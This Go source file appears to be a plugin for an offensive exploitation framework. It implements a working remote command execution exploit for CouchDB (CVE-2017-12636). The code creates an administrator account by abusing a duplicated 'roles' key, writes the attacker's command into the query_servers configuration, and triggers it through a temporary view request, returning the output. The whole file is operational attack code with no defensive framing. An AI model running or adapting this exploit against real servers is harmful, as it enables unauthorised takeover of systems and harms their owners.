package drops

import (
	"context"
	"gitee.com/wudicaidou/menciis-evilops/expbase"
	"gitee.com/wudicaidou/menciis-pocx/pocbase"
	"net/http"
	"net/url"
)

type CouchdbCve201712636 struct {
	expbase.BaseExploitPlugin
}

func init() {
	var exp CouchdbCve201712636
	info := exp.Meta()
	ExpApis[info.VulId] = &exp
}

// todo: 没有POC
func (t *CouchdbCve201712636) Meta() *expbase.ExpMeta {
	return &expbase.ExpMeta{
		Id:      "8e23bd1b-df12-4ad3-8c6e-daae5ccc8495",
		VulId:   "03e3866d-39d6-4472-bb27-4415035be95b",
		Name:    "Couchdb_CVE_2017_12636",
		Ability: expbase.TypeCommandExecution,
		Echo:    true,
	}
}

func (t *CouchdbCve201712636) ExecuteCommand(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.CommandResultEvent, err error) {
	reqAsset, ok := expContext.Target.(*pocbase.RequestAsset)
	if !ok {
		return nil, expbase.ErrEmptyReqAsset
	}
	baseReq := reqAsset.Req.Clone()
	baseUrl := baseReq.GetUrl().String()

	for _, cmd := range expContext.CommandToExecute {
		req1 := baseReq.Clone()
		newUrl1, err := url.Parse(baseUrl + `/_users/org.couchdb.user:test`)
		if err != nil {
			return nil, err
		}
		req1.RawRequest.Header.Add("Content-Type", "application/json")
		req1.RawRequest.Header.Add("Accept-Encoding", "gzip, deflate")
		req1.RawRequest.URL = newUrl1
		req1.RawRequest.Method = http.MethodPut
		body := `{
  "type": "user",
  "name": "test",
  "roles": ["_admin"],
  "roles": [],
  "password": "test"
}`
		req1.SetBody([]byte(body))
		resp, err := expContext.HttpClient.Do(ctx, req1)
		if err != nil {
			return nil, err
		}
		newUrl2, err := url.Parse(baseUrl + `/_config/query_servers/cmd`)
		if err != nil {
			return nil, err
		}
		req1.RawRequest.URL = newUrl2
		req1.SetBody([]byte("\"" + cmd + "\""))
		resp, err = expContext.HttpClient.Do(ctx, req1)
		if err != nil {
			return nil, err
		}
		newUrl3, err := url.Parse(baseUrl + `/test`)
		if err != nil {
			return nil, err
		}
		req1.RawRequest.URL = newUrl3
		req1.SetBody(nil)
		resp, err = expContext.HttpClient.Do(ctx, req1)
		if err != nil {
			return nil, err
		}
		newUrl4, err := url.Parse(baseUrl + `/test/test`)
		if err != nil {
			return nil, err
		}
		req1.RawRequest.URL = newUrl4
		req1.SetBody([]byte(`{"_id": "testtest"}`))
		resp, err = expContext.HttpClient.Do(ctx, req1)
		if err != nil {
			return nil, err
		}
		req5 := baseReq.Clone()
		newUrl5, err := url.Parse(baseUrl + `/test/_temp_view?limit=10`)
		if err != nil {
			return nil, err
		}
		req5.RawRequest.URL = newUrl5
		req5.RawRequest.Method = http.MethodPost
		req5.SetBody([]byte(`{"language":"cmd","map":""}`))
		req5.RawRequest.Header.Add("Content-Type", "application/json")
		req5.RawRequest.Header.Add("Accept-Encoding", "gzip, deflate")
		resp, err = expContext.HttpClient.Do(ctx, req5)
		if err != nil {
			return nil, err
		}
		data = append(data, &expbase.CommandResultEvent{
			Request:   *req5.RawRequest,
			Response:  *resp.RawResponse,
			EventBase: t.GetEventBase(expContext.Target, t),
			Command:   cmd,
			Result:    resp.GetBody(),
		})
	}
	return data, nil
}

func (t *CouchdbCve201712636) GetBasicInfo(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.BasicInfoEvent, err error) {
	return nil, nil
}

func (t *CouchdbCve201712636) DownloadFile(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.FileDownloadEvent, err error) {
	return nil, nil
}
